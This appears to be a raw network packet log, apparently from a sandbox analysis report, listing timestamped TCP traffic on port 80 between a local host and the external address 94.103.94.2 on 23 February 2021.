Feb 23, 2021 10:04:53.438843012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.438874960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.438903093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.438922882 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.438932896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.438951969 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.438961983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.438990116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439001083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439018011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439047098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439054966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439079046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439106941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439112902 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439136982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439163923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439167976 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439193010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439220905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439229012 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439248085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439275026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439280987 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439306974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439327955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439335108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439343929 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439364910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439395905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.439398050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.439909935 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441459894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441502094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441524982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441545963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441560030 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441566944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441587925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441589117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441615105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441636086 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441636086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441658974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441665888 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441689014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441708088 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441713095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441735983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441754103 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441762924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441786051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441798925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441811085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441833019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441844940 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441854000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441880941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441888094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441901922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441920996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441947937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441948891 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441972017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.441992044 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.441996098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442018986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442029953 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442039013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442059994 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442076921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442091942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442111015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442126989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442131042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442148924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442163944 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442167997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442188025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442203999 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442204952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442222118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442236900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442243099 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442255020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442267895 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442272902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442289114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442306042 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442307949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442326069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442342043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442349911 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442358017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442373037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442379951 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442389965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442408085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442414999 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442425013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442440987 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442446947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442465067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442481041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442488909 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442497969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442513943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442532063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442531109 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442553997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.442569017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.442594051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.443022013 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.482872963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.482965946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.482997894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483046055 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483062983 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483072042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483099937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483129025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483130932 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483144999 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483155012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483182907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483208895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483211040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483236074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483259916 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483262062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483290911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483304024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483319998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483345985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483359098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483372927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483400106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483407974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483427048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483452082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483464003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483478069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483504057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483515024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483531952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483560085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483576059 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483582973 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483613014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483623981 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483639002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483665943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483678102 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483691931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483719110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483730078 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483750105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483778954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483788013 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483807087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483833075 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483844042 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483858109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483886003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483894110 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483911991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483938932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483964920 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.483968019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.483995914 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484009027 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484020948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484047890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484060049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484074116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484098911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484112024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484123945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484148979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484163046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484177113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484204054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484213114 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484230995 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484257936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484267950 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484285116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484323025 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484349012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484374046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484400034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484410048 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484426022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484462023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484482050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484486103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484510899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484541893 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484561920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484587908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484606981 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484612942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484641075 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484657049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484666109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484690905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484703064 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484716892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484741926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484750986 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484766960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484802008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484814882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484841108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484868050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484877110 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484895945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484919071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484931946 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484945059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484972000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.484980106 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.484996080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485021114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485028982 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485044956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485071898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485081911 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485096931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485112906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485131025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485131979 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485148907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485166073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485173941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485183954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485200882 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485200882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485222101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485239983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485246897 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485256910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485274076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485275984 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485291004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485304117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485307932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485326052 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485342979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485362053 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485363007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485398054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485403061 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485419989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485433102 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485436916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485456944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485470057 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485475063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485493898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485511065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485512018 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485528946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485549927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485568047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485569000 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485585928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485601902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.485614061 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485645056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.485995054 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.487730980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487782955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487802982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487822056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487832069 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.487839937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487859964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487876892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487878084 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.487895012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487912893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487926006 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.487936974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487957001 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.487957954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487977982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.487999916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488010883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.488018036 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488035917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488051891 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488059998 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.488070965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488084078 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488101006 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.488120079 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.488145113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.490674973 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494254112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494280100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494292021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494306087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494323969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494342089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494359016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494371891 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494376898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494401932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494419098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494430065 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494450092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494458914 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494469881 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494488001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494507074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494528055 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494530916 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494546890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494564056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494565010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494584084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494587898 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494604111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494621038 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494621992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494641066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494659901 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494663954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494683027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494699955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494709969 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494719982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494738102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494740009 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494756937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494776964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494776964 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494795084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494817019 CET	80	49774	94.103.94.2	192.168.2.6
